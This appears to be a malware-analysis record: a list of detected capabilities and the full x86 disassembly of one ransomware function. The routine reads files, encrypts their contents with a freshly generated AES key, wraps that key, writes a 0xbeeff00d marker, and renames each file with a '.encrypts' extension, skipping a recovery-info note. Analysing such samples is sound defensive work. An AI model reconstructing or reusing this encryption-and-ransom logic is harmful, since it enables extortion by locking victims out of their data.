Function at 0x4017d0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x41c008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 0x50], ecx
push str.File_Recovery_Info.txt
push ebx
call fcn.00408637
add esp, 8
test eax, eax
je 0x401e5e
push 0x418f08
push ebx
call fcn.00408637
add esp, 8
test eax, eax
je 0x401e5e
push 0x418f14
push ebx
call fcn.00408637
add esp, 8
test eax, eax
je 0x401e5e
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
xorps xmm0, xmm0
push ebx
movq qword [ebp - 0x40], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x54], edi
cmp edi, 0xffffffff
je 0x401e5e
mov esi, dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
lea eax, [ebp - 0x40]
push eax
push edi
call esi
test eax, eax
je 0x401e5e
lea eax, [ebp - 0x18]
mov dword [ebp - 0x34], 0
push eax
xorps xmm0, xmm0
push edi
movq qword [ebp - 0x18], xmm0
call esi
test eax, eax
je 0x4018e5
xor esi, esi
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
sub ecx, esi
push 0
push 0
sbb eax, 0
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x4018d7
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x38], 0
push eax
push 4
lea eax, [ebp - 0x38]
mov dword [ebp - 0x2c], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4018d7
cmp dword [ebp - 0x2c], 4
jne 0x4018d7
cmp dword [ebp - 0x38], 0xbeeff00d
je 0x4018e2
inc esi
cmp esi, 0x100
jb 0x401887
jmp 0x4018e5
mov dword [ebp - 0x34], esi
mov esi, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x4c], 0xa00000
test esi, esi
jg 0x401903
jl 0x401900
cmp ecx, 0xa00000
jae 0x401903
mov dword [ebp - 0x4c], ecx
mov eax, dword [0x41d34c]
cdq
cmp edx, esi
jg 0x4019a9
jl 0x40191b
cmp eax, ecx
jae 0x4019a9
push 0x20
mov dword [ebp - 0x2c], 0
call fcn.00403f74
mov ecx, dword [ebp - 0x40]
add esp, 4
mov dword [ebp - 0x18], ecx
mov esi, eax
sub ecx, dword [ebp - 0x34]
sub ecx, 0x20
mov dword [ebp - 0x48], esi
push 0
push 0
push dword [ebp - 0x3c]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x2c]
push eax
push 0x20
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push 0
xorps xmm0, xmm0
movq qword [ebp - 0x18], xmm0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov ecx, esi
xor edx, edx
mov esi, dword [0x41d348]
sub esi, ecx
mov al, byte [ecx]
cmp al, byte [esi + ecx]
jne 0x40199e
inc edx
inc ecx
cmp edx, 0x20
jl 0x401981
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x48]
jmp 0x401e56
push dword [ebp - 0x48]
call fcn.00403f7d
add esp, 4
mov esi, dword [ebp - 0x50]
push 0xa00010
push 0
push esi
call fcn.00405470
add esp, 0xc
mov dword [ebp - 0x30], 0xa00010
xorps xmm0, xmm0
movq qword [ebp - 0x18], xmm0
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x4c]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x80
call fcn.00403f74
add esp, 4
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x14]
push 0xf0000000
push 0x18
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
lea eax, [ebp - 0x34]
push eax
push 1
push 0x6610
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x401e5e
push 4
call fcn.00403f74
add esp, 4
test eax, eax
je 0x401a44
mov dword [eax], 0x434243
jmp 0x401a46
xor eax, eax
mov edi, dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
push 0
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
push 4
push dword [ebp - 0x34]
call edi
mov esi, dword [ebp - 0x48]
push esi
call fcn.00403f7d
mov eax, dword [ebp - 0x48]
add esp, 4
movq xmm0, qword [str.PKCSS_PADDING]
mov ecx, 0x8123
test esi, esi
movq qword [ebp - 0x28], xmm0
cmovne eax, ecx
mov dword [ebp - 0x48], eax
mov eax, dword [0x418ee8]
mov dword [ebp - 0x20], eax
mov ax, word [0x418eec]
push 0
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x28]
push eax
push 3
push dword [ebp - 0x34]
call edi
push 0x40
call fcn.00403f74
add esp, 4
mov esi, eax
push 0x40
push 0
push esi
call fcn.00405470
add esp, 0xc
push 0
push esi
push 1
push dword [ebp - 0x34]
call edi
push esi
call fcn.00403f7d
mov esi, dword [ebp - 0x2c]
lea eax, [ebp - 0x38]
add esp, 4
mov dword [ebp - 0x38], 0x80
push eax
push esi
push 0
push 8
push 0
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x401e5e
push 0x80
lea eax, [ebp - 0x38]
push eax
push esi
push 0
push 1
push 0
push dword [0x41d350]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x401e5e
cmp dword [ebp - 0x38], 0x80
jne 0x401e5e
mov edi, dword [ebp - 0x34]
test edi, edi
je 0x401e5e
mov ecx, dword [ebp - 0x50]
lea eax, [ebp - 0x30]
push 0xa00010
push eax
push ecx
push 0
push 1
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x401b60
mov edi, dword [ebp - 0x54]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
jmp 0x401e56
push edi
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov edi, dword [ebp - 0x54]
xorps xmm0, xmm0
push 0
push 0
movq qword [ebp - 0x18], xmm0
push dword [ebp - 0x14]
mov dword [ebp - 0x30], 0
push dword [ebp - 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x41d34c]
call fcn.00403f74
mov esi, eax
add esp, 4
mov eax, dword [ebp - 0x4c]
xor edx, edx
add eax, dword [ebp - 0x50]
mov cl, byte [eax + edx]
mov byte [edx + esi], cl
inc edx
cmp edx, 0x10
jl 0x401bb5
push 0xa
lea eax, [esi + 0x10]
push eax
push dword [ebp - 0x4c]
call fcn.00407a7a
mov edx, dword [ebp - 0x2c]
add esp, 0xc
xor ecx, ecx
mov al, byte [ecx + edx]
mov byte [esi + ecx + 0x30], al
inc ecx
cmp ecx, 0x80
jl 0x401bd7
mov edx, dword [0x41c880]
xor ecx, ecx
test edx, edx
jle 0x401c0f
mov edi, dword [0x41d340]
nop dword [eax]
mov al, byte [ecx + edi]
mov byte [esi + ecx + 0xb0], al
inc ecx
cmp ecx, edx
jl 0x401c00
mov edi, dword [0x41d348]
xor ecx, ecx
add edx, esi
nop dword [eax]
mov al, byte [ecx + edi]
mov byte [edx + ecx + 0xb0], al
inc ecx
cmp ecx, 0x20
jl 0x401c20
mov edi, dword [ebp - 0x54]
push 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push eax
push dword [0x41d34c]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call fcn.00403f7d
add esp, 4
push dword [ebp - 0x2c]
call fcn.00403f7d
add esp, 4
mov dword [ebp - 0x44], 0xbeeff00d
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0
push 0
push eax
push 4
lea eax, [ebp - 0x44]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
mov dword [ebp - 0x30], 0
xor esi, esi
cmp byte [ebx], al
je 0x401caa
inc eax
cmp byte [ebx + eax], 0
jne 0x401ca3
mov ecx, eax
test eax, eax
js 0x401cbc
cmp byte [ebx + ecx], 0x2f
je 0x401cbc
inc esi
sub ecx, 1
jns 0x401cb0
mov edx, esi
mov ecx, ebx
dec esi
mov dword [ebp - 0x14], edx
sub ecx, esi
add ecx, eax
push edx
mov dword [ebp - 0x2c], ecx
call fcn.00403f74
add esp, 4
mov dword [ebp - 0x4c], eax
test eax, eax
je 0x401cf1
push dword [ebp - 0x14]
push 0
push eax
call fcn.00405470
mov edx, dword [ebp - 0x4c]
add esp, 0xc
mov byte [edx], 0
jmp 0x401cf6
xor edx, edx
mov dword [ebp - 0x4c], edx
test esi, esi
jle 0x401d17
mov edi, dword [ebp - 0x2c]
mov ecx, edx
sub edi, edx
mov edx, esi
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x401d03
mov edi, dword [ebp - 0x54]
mov edx, dword [ebp - 0x4c]
xor eax, eax
mov byte [edx + esi], 0
cmp byte [edx], al
je 0x401d28
inc eax
cmp byte [edx + eax], 0
jne 0x401d21
push 0
lea ecx, [ebp - 0x30]
push ecx
push eax
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
xor esi, esi
cmp byte [ebx], cl
je 0x401d4c
inc esi
cmp byte [ebx + esi], cl
jne 0x401d46
mov eax, esi
test esi, esi
js 0x401d5e
cmp byte [ebx + eax], 0x2f
je 0x401d5e
inc ecx
sub eax, 1
jns 0x401d52
sub esi, ecx
inc esi
lea eax, [esi + 1]
push eax
call fcn.00403f74
mov edi, eax
mov dword [ebp - 0x2c], eax
add esp, 4
test edi, edi
je 0x401d8a
lea eax, [esi + 1]
push eax
push 0
push edi
call fcn.00405470
add esp, 0xc
mov byte [edi], 0
jmp 0x401d8f
xor edi, edi
mov dword [ebp - 0x2c], edi
test esi, esi
jle 0x401dae
mov ecx, edi
sub ebx, edi
mov edx, esi
nop dword [eax]
mov al, byte [ebx + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
sub edx, 1
jne 0x401da0
xorps xmm0, xmm0
mov byte [edi + esi], 0
movq qword [ebp - 0x18], xmm0
xor edi, edi
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
nop word [eax + eax]
xor esi, esi
lea esi, [esi + 1]
cmp byte [esi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789], 0
jne 0x401dd2
call fcn.004075d4
cdq
lea ecx, [esi - 1]
idiv ecx
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789]
mov byte [ebp + edi - 0x18], al
inc edi
cmp edi, 0xa
jb 0x401dd0
mov edx, str..encrypts
mov byte [ebp - 0xe], 0
lea ecx, [ebp - 0x18]
call fcn.00401220
mov edx, dword [ebp - 0x4c]
mov ebx, eax
mov ecx, dword [ebp - 0x2c]
call fcn.00401220
mov ecx, dword [ebp - 0x2c]
mov edx, ebx
mov edi, eax
call fcn.00401220
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push edi
call fcn.00403f7d
add esp, 4
push esi
call fcn.00403f7d
add esp, 4
push dword [ebp - 0x2c]
call fcn.00403f7d
add esp, 4
push ebx
call fcn.00403f7d
add esp, 4
push dword [ebp - 0x4c]
call fcn.00403f7d
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403d68
mov esp, ebp
pop ebp
ret